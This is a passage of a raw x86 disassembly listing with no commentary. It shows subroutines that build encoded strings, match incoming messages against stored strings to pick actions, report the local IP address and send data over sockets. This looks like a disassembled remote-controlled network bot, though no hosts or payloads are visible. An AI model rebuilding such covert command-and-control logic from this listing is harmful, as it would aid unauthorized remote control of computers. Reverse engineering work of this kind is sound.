eax push edx mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+6Ch+var_60] mov [esp+6Ch+var_28], edi call sub_13AB626 test esi, esi jz short loc_13BC080 lea ebx, [esi+11h] jmp short loc_13BC082 ; --------------------------------------------------------------------------- loc_13BC080: ; CODE XREF: sub_13BBF50+129j xor ebx, ebx loc_13BC082: ; CODE XREF: sub_13BBF50+12Ej push 0 push 5 push 4 push 0Fh push 0Dh push 4Fh lea eax, [esp+84h+var_60] push 9 push eax call sub_13ABDB5 add esp, 20h push ebx mov ecx, eax mov [esp+70h+var_28], 3 call sub_13ABBE4 lea ecx, [esi+16Ah] push eax push ecx mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+78h+var_6C] mov [esp+78h+var_34], edi call sub_13AB626 test esi, esi jz short loc_13BC0D5 lea ebx, [esi+11h] jmp short loc_13BC0D7 ; --------------------------------------------------------------------------- loc_13BC0D5: ; CODE XREF: sub_13BBF50+17Ej xor ebx, ebx loc_13BC0D7: ; CODE XREF: sub_13BBF50+183j push 0 push 7 push 13h push 0Dh push 4Fh lea edx, [esp+8Ch+var_6C] push 9 push edx call sub_13ABDB5 add esp, 1Ch push ebx mov ecx, eax mov [esp+7Ch+var_34], 4 call sub_13ABBE4 push eax lea eax, [esi+1F4h] push eax mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+84h+var_78] mov [esp+84h+var_40], edi call sub_13AB626 test esi, esi jz short loc_13BC128 lea ebx, [esi+11h] jmp short loc_13BC12A ; --------------------------------------------------------------------------- loc_13BC128: ; CODE XREF: sub_13BBF50+1D1j xor ebx, ebx loc_13BC12A: ; CODE XREF: sub_13BBF50+1D6j push 0 push 5 push 3 push 9 push 14h push 0Fh push 0Eh push 4Fh lea ecx, [esp+0A4h+var_78] push 9 push ecx call sub_13ABDB5 add esp, 28h push ebx mov ecx, eax mov [esp+88h+var_40], 5 call sub_13ABBE4 lea edx, [esi+0B2h] push eax push edx mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4C], edi call sub_13AB626 test esi, esi jz short loc_13BC181 lea ebx, [esi+11h] jmp short loc_13BC183 ; --------------------------------------------------------------------------- loc_13BC181: ; CODE XREF: sub_13BBF50+22Aj xor ebx, ebx loc_13BC183: ; CODE XREF: sub_13BBF50+22Fj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 13h push 9 push 4 push 4Fh lea eax, [esp+0C0h+var_84] push 9 push eax call sub_13ABDB5 add esp, 38h push ebx mov ecx, eax mov [esp+94h+var_4C], 6 call sub_13ABBE4 lea ecx, [esi+56h] push eax push ecx mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+9Ch+var_90] mov [esp+9Ch+var_58], edi call sub_13AB626 test esi, esi jz short loc_13BC1DF lea ebx, [esi+11h] jmp short loc_13BC1E1 ; --------------------------------------------------------------------------- loc_13BC1DF: ; CODE XREF: sub_13BBF50+288j xor ebx, ebx loc_13BC1E1: ; CODE XREF: sub_13BBF50+28Dj push 0 push 14h push 13h push 0Fh push 8 push 14h push 5 push 7 push 4Fh lea edx, [esp+0C0h+var_90] push 9 push edx call sub_13ABDB5 add esp, 2Ch push ebx mov ecx, eax mov [esp+0A0h+var_58], 7 call sub_13ABBE4 push eax lea eax, [esi+10Eh] push eax mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+0A8h+var_9C] mov [esp+0A8h+var_64], edi call sub_13AB626 test esi, esi jz short loc_13BC23A lea ebx, [esi+11h] jmp short loc_13BC23C ; --------------------------------------------------------------------------- loc_13BC23A: ; CODE XREF: sub_13BBF50+2E3j xor ebx, ebx loc_13BC23C: ; CODE XREF: sub_13BBF50+2E8j push 0 push 0Fh push 6 push 0Eh push 9 push 14h push 5 push 0Eh push 4Fh lea ecx, [esp+0CCh+var_9C] push 9 push ecx call sub_13ABDB5 add esp, 2Ch push ebx mov ecx, eax mov [esp+0ACh+var_64], 8 call sub_13ABBE4 lea edx, [esi+198h] push eax push edx mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+0B4h+var_A8] mov [esp+0B4h+var_70], edi call sub_13AB626 test esi, esi jz short loc_13BC295 lea ebx, [esi+11h] jmp short loc_13BC297 ; --------------------------------------------------------------------------- loc_13BC295: ; CODE XREF: sub_13BBF50+33Ej xor ebx, ebx loc_13BC297: ; CODE XREF: sub_13BBF50+343j push 0 push 0Eh push 9 push 0Fh push 0Ah push 4Fh lea eax, [esp+0CCh+var_90] push 9 push eax call sub_13ABDB5 add esp, 20h push ebx mov ecx, eax mov [esp+0B8h+var_70], 9 call sub_13ABBE4 add esi, 13Ch push eax push esi mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+0C0h+var_9C] mov [esp+0C0h+var_7C], edi call sub_13AB626 mov ecx, [esp+0C0h+var_84] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 3Ch retn sub_13BBF50 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BC3F0 proc near ; CODE XREF: sub_13ABEB9j var_D4 = byte ptr -0D4h var_BC = byte ptr -0BCh var_B4 = byte ptr -0B4h var_A8 = byte ptr -0A8h var_A0 = byte ptr -0A0h var_9C = byte ptr -9Ch var_94 = byte ptr -94h var_90 = byte ptr -90h var_8C = byte ptr -8Ch var_88 = byte ptr -88h var_80 = byte ptr -80h var_7C = byte ptr -7Ch var_78 = byte ptr -78h var_70 = byte ptr -70h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = byte ptr -4Ch var_44 = byte ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push 439879h push eax mov large fs:0, esp sub esp, 78h push ebx push ebp push esi mov esi, [esp+90h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+45h] call sub_13ABBE4 push eax mov ecx, ebx call sub_13AB6EE test eax, eax jz loc_13BC919 lea ecx, [edi+26Dh] call sub_13ABBE4 push eax mov ecx, ebx call sub_13AB6EE test eax, eax jz loc_13BC919 lea ecx, [edi+0A1h] call sub_13ABBE4 push eax mov ecx, ebx call sub_13AB6EE test eax, eax jnz loc_13BC4F2 push offset dword_443600 lea eax, [esp+0A4h+var_78] push 2 push eax mov ecx, esi call sub_13ABAAE mov ebp, eax push offset dword_443600 lea ecx, [esp+0B0h+var_9C] push 1 xor ebx, ebx push ecx mov ecx, esi mov [esp+0B8h+var_1C], ebx call sub_13ABAAE mov esi, eax mov ecx, ebp mov byte ptr [esp+0B8h+var_28], 1 call sub_13ABBE4 push eax mov ecx, esi call sub_13ABBE4 mov edx, ds:dword_447110 push eax push edx add edi, 0FFFFFFEFh push offset dword_443CFC push edi call sub_13AC20B add esp, 14h lea ecx, [esp+0B8h+var_A8] mov byte ptr [esp+0B8h+var_28], bl call sub_13AB626 lea ecx, [esp+0B8h+var_90] mov [esp+0B8h+var_28], 0FFFFFFFFh call sub_13AB626 jmp loc_13BC942 ; --------------------------------------------------------------------------- loc_13BC4F2: ; CODE XREF: sub_13BC3F0+70j lea ecx, [edi+187h] call sub_13ABBE4 push eax mov ecx, ebx call sub_13AB6EE test eax, eax jnz short loc_13BC569 add edi, 0FFFFFFEFh lea eax, [esp+0A4h+var_7C] push eax mov ecx, edi call sub_13AC139 mov ecx, eax mov [esp+0A8h+var_18], 2 call sub_13ABBE4 push eax push offset dword_4435F0 lea ecx, [esi+69h] call sub_13AB8D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push edi call sub_13ABC48 add esp, 18h lea ecx, [esp+0A8h+var_80] mov [esp+0A8h+var_18], 0FFFFFFFFh call sub_13AB626 jmp loc_13BC942 ; --------------------------------------------------------------------------- loc_13BC569: ; CODE XREF: sub_13BC3F0+117j lea ecx, [edi+0FDh] call sub_13ABBE4 push eax mov ecx, ebx call sub_13AB6EE test eax, eax jnz loc_13BC624 push offset dword_443600 lea eax, [esp+0ACh+var_80] push 1 push eax mov ecx, esi call sub_13ABAAE push eax lea ecx, [edi+17h] mov [esp+0B8h+var_24], 3 call sub_13ABCA2 or ebp, 0FFFFFFFFh lea ecx, [esp+0B8h+var_90] mov ebx, eax mov [esp+0B8h+var_28], ebp call sub_13AB626 test ebx, ebx jz loc_13BC942 lea ecx, [esp+0B8h+var_90] add edi, 0FFFFFFEFh push ecx mov ecx, edi call sub_13AC139 mov ecx, eax mov [esp+0BCh+var_2C], 4 call sub_13ABBE4 push eax push offset dword_4435F0 lea ecx, [esi+69h] call sub_13AB8D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push edi call sub_13ABC48 add esp, 18h lea ecx, [esp+0BCh+var_94] mov [esp+0BCh+var_2C], ebp call sub_13AB626 jmp loc_13BC942 ; --------------------------------------------------------------------------- loc_13BC624: ; CODE XREF: sub_13BC3F0+18Ej lea ecx, [edi+12Bh] call sub_13ABBE4 push eax mov ecx, ebx call sub_13AB6EE test eax, eax jnz loc_13BC6CD push offset dword_443600 lea ecx, [esp+0B0h+var_9C] push 2 push ecx mov ecx, esi call sub_13ABAAE mov ebp, eax push offset dword_443600 lea edx, [esp+0BCh+var_90] mov ebx, 5 push 1 push edx mov ecx, esi mov [esp+0C4h+var_28], ebx call sub_13ABAAE mov esi, eax mov ecx, ebp mov byte ptr [esp+0C4h+var_34], 6 call sub_13ABBE4 push eax mov ecx, esi call sub_13ABBE4 push eax mov eax, ds:dword_447114 push eax add edi, 0FFFFFFEFh push offset dword_443CA8 push edi call sub_13AC20B add esp, 14h lea ecx, [esp+0C4h+var_9C] mov byte ptr [esp+0C4h+var_34], bl call sub_13AB626 lea ecx, [esp+0C4h+var_B4] mov [esp+0C4h+var_34], 0FFFFFFFFh call sub_13AB626 jmp loc_13BC942 ; --------------------------------------------------------------------------- loc_13BC6CD: ; CODE XREF: sub_13BC3F0+249j lea ecx, [edi+1B5h] call sub_13ABBE4 push eax mov ecx, ebx call sub_13AB6EE test eax, eax jnz short loc_13BC73B push offset dword_443600 lea ecx, [esp+0B4h+var_88] push 1 push ecx mov ecx, esi call sub_13ABAAE mov ecx, eax mov [esp+0BCh+var_2C], 7 call sub_13ABBE4 mov edx, ds:dword_447140 push eax push edx add edi, 0FFFFFFEFh push offset dword_4435F4 push edi call sub_13AC20B add esp, 10h lea ecx, [esp+0BCh+var_94] mov [esp+0BCh+var_2C], 0FFFFFFFFh call sub_13AB626 jmp loc_13BC942 ; --------------------------------------------------------------------------- loc_13BC73B: ; CODE XREF: sub_13BC3F0+2F2j lea ecx, [edi+23Fh] call sub_13ABBE4 push eax mov ecx, ebx call sub_13AB6EE test eax, eax jnz short loc_13BC79D lea eax, [esp+0B4h+var_8C] push 9 push eax mov ecx, esi call sub_13AC22E mov ecx, eax mov [esp+0BCh+var_2C], 8 call sub_13ABBE4 push eax add edi, 0FFFFFFEFh push offset dword_443CF4 push edi call sub_13AC20B add esp, 0Ch lea ecx, [esp+0BCh+var_94] mov [esp+0BCh+var_2C], 0FFFFFFFFh call sub_13AB626 jmp loc_13BC942 ; --------------------------------------------------------------------------- loc_13BC79D: ; CODE XREF: sub_13BC3F0+360j lea ecx, [edi+1E3h] call sub_13ABBE4 push eax mov ecx, ebx call sub_13AB6EE test eax, eax jnz loc_13BC83D push offset dword_443600 lea ecx, [esp+0BCh+var_A8] push 1 push ecx mov ecx, esi call sub_13ABAAE mov ebp, eax push 1 push offset dword_443600 lea edx, [esp+0CCh+var_9C] push 2 push edx mov ecx, esi mov [esp+0D4h+var_34], 9 call sub_13AB5EA mov esi, eax mov ecx, ebp mov [esp+0D4h+var_44], 0Ah call sub_13AB8D3 push eax mov ecx, esi call sub_13AB8D3 xor ebx, ebx push eax push ebx push ebx lea ecx, [edi-11h] call sub_13AB518 lea ecx, [esp+0E4h+var_BC] mov byte ptr [esp+0E4h+var_54], 9 call sub_13AB626 lea ecx, [esp+0E4h+var_D4] mov [esp+0E4h+var_54], 0FFFFFFFFh call sub_13AB626 jmp loc_13BC942 ; --------------------------------------------------------------------------- loc_13BC83D: ; CODE XREF: sub_13BC3F0+3C2j lea ecx, [edi+159h] call sub_13ABBE4 push eax mov ecx, ebx call sub_13AB6EE test eax, eax jnz loc_13BC942 push offset dword_443600 lea eax, [esp+0C0h+var_4C] push 3 push eax mov ecx, esi call sub_13ABAAE mov ebp, eax push offset dword_443600 lea ecx, [esp+0CCh+var_70] push 2 push ecx mov ecx, esi mov [esp+0D4h+var_38], 0Bh call sub_13ABAAE mov ebx, eax push offset dword_443600 lea edx, [esp+0D8h+var_94] push 1 push edx mov ecx, esi mov [esp+0E0h+var_44], 0Ch call sub_13ABAAE mov esi, eax mov ecx, ebp mov byte ptr [esp+0E0h+var_50], 0Dh call sub_13ABBE4 push eax mov ecx, ebx call sub_13ABBE4 push eax mov ecx, esi call sub_13ABBE4 push eax mov eax, ds:dword_447144 push eax add edi, 0FFFFFFEFh push offset dword_443CE4 push edi call sub_13AC20B add esp, 18h lea ecx, [esp+0E0h+var_A0] mov byte ptr [esp+0E0h+var_50], 0Ch call sub_13AB626 lea ecx, [esp+0E0h+var_88] mov byte ptr [esp+0E0h+var_50], 0Bh call sub_13AB626 lea ecx, [esp+0E0h+var_70] mov [esp+0E0h+var_50], 0FFFFFFFFh call sub_13AB626 jmp short loc_13BC942 ; --------------------------------------------------------------------------- loc_13BC919: ; CODE XREF: sub_13BC3F0+3Aj ; sub_13BC3F0+55j xor ebx, ebx mov [edi+0Fh], ebx mov [edi+0Bh], ebx mov [edi+5], bl mov [edi+4], bl mov ecx, [edi+7] push ecx call closesocket ; closesocket mov ecx, offset word_448CAE mov dword ptr [edi+7], 0FFFFFFFFh call sub_13AB937 loc_13BC942: ; CODE XREF: sub_13BC3F0+FDj ; sub_13BC3F0+174j ... mov ecx, [esp+9Ch+var_14] pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 84h retn 4 sub_13BC3F0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BCAC0 proc near ; CODE XREF: sub_13AC139j var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = byte ptr -2Ch var_24 = byte ptr -24h var_20 = byte ptr -20h var_1D = dword ptr -1Dh var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 8 push 0FFFFFFFFh push 4398CFh mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 40h push esi mov esi, ecx lea ecx, [esp+50h+var_24] mov [esp+50h+var_48], 0 call sub_13AB824 xor eax, eax lea ecx, [esp+50h+var_4C] mov [esp+50h+var_44], eax lea edx, [esp+50h+var_44] mov [esp+50h+var_40], eax push ecx mov [esp+54h+var_3C], eax push edx mov [esp+58h+var_38], eax mov eax, [esi+18h] push eax mov [esp+5Ch+var_4], 1 mov [esp+5Ch+var_4C], 10h call getsockname ; getsockname mov ecx, [esp+30h+var_1D] mov edx, [esp+12h] mov eax, [esp+11h] and ecx, 0FFh push ecx mov ecx, [esp+14h] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+40h+var_14] push offset dword_443CD4 push edx call wsprintfA ; wsprintfA add esp, 18h lea ecx, [esp+30h+var_4] push offset byte_446F80 call sub_13AB9D7 push offset dword_443D28 lea ecx, [esp+38h+var_8] call sub_13ABE9B lea eax, [esp+38h+var_1D+1] lea ecx, [esp+38h+var_C] push eax call sub_13ABE9B push offset dword_443D24 lea ecx, [esp+40h+var_10] call sub_13ABE9B add esi, 28h lea ecx, [esp+40h+var_14] push esi call sub_13ABABD push offset dword_443D24 lea ecx, [esp+48h+var_18] call sub_13ABE9B lea ecx, [esp+48h+var_2C] push ecx call sub_13AB879 add esp, 4 test al, al jz short loc_13BCBCB push offset dword_443D18 jmp short loc_13BCBD0 ; --------------------------------------------------------------------------- loc_13BCBCB: ; CODE XREF: sub_13BCAC0+102j push offset dword_443D0C loc_13BCBD0: ; CODE XREF: sub_13BCAC0+109j lea ecx, [esp+4Ch+var_1D+1] call sub_13ABE9B mov esi, [esp+4Ch+arg_4] lea edx, [esp+4Ch+var_20] push edx mov ecx, esi call sub_13AB8C9 mov [esp+50h+var_48], 1 lea ecx, [esp+50h+var_24] mov byte ptr [esp+50h+var_4], 0 call sub_13AB626 mov ecx, [esp+50h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 4Ch retn 4 sub_13BCAC0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BCC80 proc near ; CODE XREF: sub_13AB982j arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] push esi mov esi, ecx push edi mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+18h] push 0 not ecx dec ecx push ecx push ebp push eax call send ; send mov edx, eax mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx cmp edx, ecx jnb short loc_13BCCDE mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax call closesocket ; closesocket mov ecx, offset word_448CAE mov dword ptr [esi+18h], 0FFFFFFFFh call sub_13AB937 pop edi pop esi xor al, al pop ebp retn 4 ; --------------------------------------------------------------------------- loc_13BCCDE: ; CODE XREF: sub_13BCC80+33j pop edi pop esi mov al, 1 pop ebp retn 4 sub_13BCC80 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BCD10 proc near ; CODE XREF: sub_13AC20Bj arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov eax, 2000h call near ptr 13E0C60h mov ecx, [esp+arg_2004] lea eax, [esp+arg_2008] push eax push ecx lea edx, [esp+8] push 2000h push edx call _vsnprintf ; _vsnprintf mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_13AB982 add esp, 2000h retn sub_13BCD10 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BCD80 proc near ; CODE XREF: sub_13AB518j var_44 = byte ptr -44h var_40 = byte ptr -40h var_3C = byte ptr -3Ch var_2C = byte ptr -2Ch var_28 = byte ptr -28h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, large fs:0 push 0FFFFFFFFh push 439900h push eax mov al, [esp+0Ch+arg_0] mov large fs:0, esp sub esp, 30h test al, al push esi mov esi, ecx jz short loc_13BCDB7 xor al, al pop esi mov ecx, [esp+3Ch+var_C] mov large fs:0, ecx add esp, 3Ch retn 10h ; --------------------------------------------------------------------------- loc_13BCDB7: ; CODE XREF: sub_13BCD80+21j lea ecx, [esp+40h+var_3C] call sub_13AB824 mov al, byte ptr [esp+40h+arg_4] mov [esp+40h+var_4], 0 test al, al jz short loc_13BCDD8 mov eax, ds:dword_447110 push eax jmp short loc_13BCDDF ; --------------------------------------------------------------------------- loc_13BCDD8: ; CODE XREF: sub_13BCD80+4Ej mov ecx, ds:dword_447118 push ecx loc_13BCDDF: ; CODE XREF: sub_13BCD80+56j lea ecx, [esp+44h+var_3C] call sub_13AB9D7 push ebx lea ecx, [esp+48h+var_28] call sub_13AB824 mov edx, [esp+48h+arg_4] mov eax, [esp+48h+arg_8] push edx push eax lea ecx, [esp+50h+var_40] mov [esp+50h+var_8], 1 call sub_13ABBE4 push eax lea ecx, [esp+54h+var_28] push offset dword_443CFC push ecx call sub_13AB42D add esp, 14h lea ecx, [esp+48h+var_28] call sub_13AB8D3 push eax mov ecx, esi call sub_13AB982 lea ecx, [esp+4Ch+var_2C] mov bl, al mov byte ptr [esp+4Ch+var_C], 0 call sub_13AB626 lea ecx, [esp+4Ch+var_44] mov [esp+4Ch+var_C], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+4Ch+var_14] mov al, bl pop ebx pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_13BCD80 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BCEB0 proc near ; CODE XREF: sub_13ABC48j arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = dword ptr 200Ch arg_200C = dword ptr 2010h arg_2010 = dword ptr 2014h arg_2014 = byte ptr 2018h mov eax, 2000h call near ptr 13E0C60h mov ecx, [esp+arg_2010] lea eax, [esp+arg_2014] push eax push ecx lea edx, [esp+8] push 2000h push edx call _vsnprintf ; _vsnprintf mov eax, [esp+10h+arg_200C] mov edx, [esp+10h+arg_2008] add esp, 10h lea ecx, [esp+0] push eax mov eax, [esp+4+arg_2004] push ecx mov ecx, [esp+8+arg_2000] push edx push eax call sub_13AB518 add esp, 2000h retn sub_13BCEB0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BCF30 proc near ; CODE XREF: sub_13AC10Cj push esi mov esi, ecx call sub_13AC3B9 mov eax, [esi+1Ch] inc eax mov [esi+1Ch], eax pop esi retn sub_13BCF30 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BCF60 proc near ; CODE XREF: sub_13AC3B9j push esi mov esi, ecx xor al, al mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax call closesocket ; closesocket mov ecx, offset word_448CAE mov dword ptr [esi+18h], 0FFFFFFFFh call sub_13AB937 pop esi retn sub_13BCF60 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BCFA0 proc near ; CODE XREF: sub_13ABB21j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_13BCFA0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BCFD0 proc near ; CODE XREF: sub_13ABF54j push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_13ABB0D mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_13AB694 xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn sub_13BCFD0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BD020 proc near ; CODE XREF: sub_13AC300j var_30 = byte ptr -30h var_24 = byte ptr -24h var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push 439918h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 6 push 9 push 4Fh push 3 push 9 push 7 push 0Fh lea eax, [esp+48h+var_24] push 0Ch mov esi, ecx push eax call sub_13ABDB5 add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_13ABBE4 add esi, 4 push eax push esi mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+34h+var_30] mov [esp+34h+var_10], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+34h+var_18] pop esi mov large fs:0, ecx add esp, 24h retn sub_13BD020 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BD0C0 proc near ; CODE XREF: sub_13AB40Aj var_124 = byte ptr -124h var_11C = byte ptr -11Ch var_118 = byte ptr -118h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_F4 = byte ptr -0F4h var_E8 = byte ptr -0E8h var_E4 = byte ptr -0E4h var_E0 = byte ptr -0E0h var_DC = byte ptr -0DCh var_D4 = byte ptr -0D4h var_D0 = byte ptr -0D0h var_B8 = byte ptr -0B8h var_A8 = byte ptr -0A8h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_90 = byte ptr -90h var_8C = dword ptr -8Ch var_88 = byte ptr -88h var_84 = byte ptr -84h var_78 = byte ptr -78h var_70 = byte ptr -70h var_64 = byte ptr -64h var_60 = byte ptr -60h var_58 = byte ptr -58h var_54 = byte ptr -54h var_4C = byte ptr -4Ch var_40 = byte ptr -40h var_38 = byte ptr -38h var_2C = byte ptr -2Ch var_20 = byte ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push 43996Eh push eax mov large fs:0, esp sub esp, 90h add ecx, 4 push ebp push esi mov esi, [esp+0A4h+arg_0] lea ebp, [esi+7Eh] call sub_13ABBE4 push eax mov ecx, ebp call sub_13AB6EE test eax, eax jnz loc_13BD3E6 push ebx push edi push offset dword_443600 lea eax, [esp+0B4h+var_70] push 1 push eax mov ecx, esi call sub_13ABAAE push offset dword_443600 lea ecx, [esp+0C0h+var_94] push 2 push ecx mov ecx, esi mov [esp+0C8h+var_14], 0 call sub_13ABAAE push offset dword_443600 lea edx, [esp+0CCh+var_B8] push 3 push edx mov ecx, esi mov [esp+0D4h+var_20], 1 call sub_13ABAAE push offset dword_443600 lea eax, [esp+0D8h+var_64] push 0 push eax mov ecx, esi mov [esp+0E0h+var_2C], 2 call sub_13ABAAE mov edi, eax lea ecx, [esp+0E0h+var_D0] mov [esp+0E0h+var_38], 3 call sub_13AB7D9 lea ecx, [esp+0E0h+var_B8] mov ebx, eax call sub_13AB7D9 lea ecx, [esp+0E0h+var_A0] add ebx, eax call sub_13AB7D9 mov ecx, edi add ebx, eax call sub_13AB7D9 lea ecx, [esp+0E0h+var_70] lea edi, [ebx+eax+4] mov [esp+0E0h+var_38], 2 call sub_13AB626 lea ecx, [esp+0E0h+var_88] push edi push ecx mov ecx, esi call sub_13AC22E push offset dword_443600 lea edx, [esp+0ECh+var_60] push 4 push edx mov ecx, esi mov [esp+0F4h+var_40], 4 call sub_13ABAAE lea ecx, [esp+0F4h+var_84] push 1 mov bl, 5 push ecx mov ecx, eax mov [esp+0FCh+var_4C], bl call sub_13AC22E push eax mov ecx, ebp mov [esp+100h+var_54], 6 call sub_13AC40E lea ecx, [esp+100h+var_90] mov [esp+100h+var_58], bl call sub_13AB626 mov [esp+100h+var_58], 4 lea ecx, [esp+100h+var_78] call sub_13AB626 lea edx, [esp+100h+var_A8] mov ecx, esi push edx call sub_13AC40E push offset dword_443D50 lea ecx, [esp+108h+var_DC] call sub_13AB6EE test eax, eax jnz short loc_13BD245 xor edi, edi loc_13BD245: ; CODE XREF: sub_13BD0C0+181j push offset dword_443D4C lea ecx, [esp+10Ch+var_E0] call sub_13AB6EE test eax, eax jnz short loc_13BD25C mov edi, 1 loc_13BD25C: ; CODE XREF: sub_13BD0C0+195j push offset dword_443D48 lea ecx, [esp+110h+var_E4] call sub_13AB6EE test eax, eax jnz short loc_13BD273 mov edi, 2 loc_13BD273: ; CODE XREF: sub_13BD0C0+1ACj push offset dword_443D44 lea ecx, [esp+114h+var_E8] call sub_13AB6EE test eax, eax jnz short loc_13BD28A mov edi, 3 loc_13BD28A: ; CODE XREF: sub_13BD0C0+1C3j push offset dword_443D40 lea ecx, [esp+118h+var_D4] call sub_13AB6EE test eax, eax jnz short loc_13BD2E4 test edi, edi jnz short loc_13BD2BA lea ecx, [esp+118h+var_108] call sub_13ABBE4 push eax mov ecx, offset word_4475AA call sub_13AB6EE test eax, eax jz short loc_13BD2E4 jmp short loc_13BD2D7 ; --------------------------------------------------------------------------- loc_13BD2BA: ; CODE XREF: sub_13BD0C0+1DEj cmp edi, 1 jnz short loc_13BD2E4 lea ecx, [esp+118h+var_108] call sub_13ABBE4 push eax mov ecx, offset word_4475AA call sub_13AB6EE test eax, eax jnz short loc_13BD2E4 loc_13BD2D7: ; CODE XREF: sub_13BD0C0+1F8j push 0 push esi mov ecx, offset byte_4472C7 call sub_13ABE32 loc_13BD2E4: ; CODE XREF: sub_13BD0C0+1DAj ; sub_13BD0C0+1F6j ... push offset dword_443D38 lea ecx, [esp+128h+var_E4] call sub_13AB6EE test eax, eax jnz short loc_13BD337 test edi, edi jnz short loc_13BD318 lea ecx, [esp+128h+var_118] call sub_13ABBE4 push eax mov ecx, offset byte_E19CED call sub_13AB7E3 test eax, eax jnz loc_13BD399 jmp short loc_13BD38C ; --------------------------------------------------------------------------- loc_13BD318: ; CODE XREF: sub_13BD0C0+238j cmp edi, 1 jnz short loc_13BD399 lea ecx, [esp+128h+var_118] call sub_13ABBE4 push eax mov ecx, offset byte_E19CED call sub_13AB7E3 test eax, eax jz short loc_13BD399 jmp short loc_13BD38C ; --------------------------------------------------------------------------- loc_13BD337: ; CODE XREF: sub_13BD0C0+234j push offset dword_443D30 lea ecx, [esp+12Ch+var_E8] call sub_13AB6EE test eax, eax jnz short loc_13BD399 lea 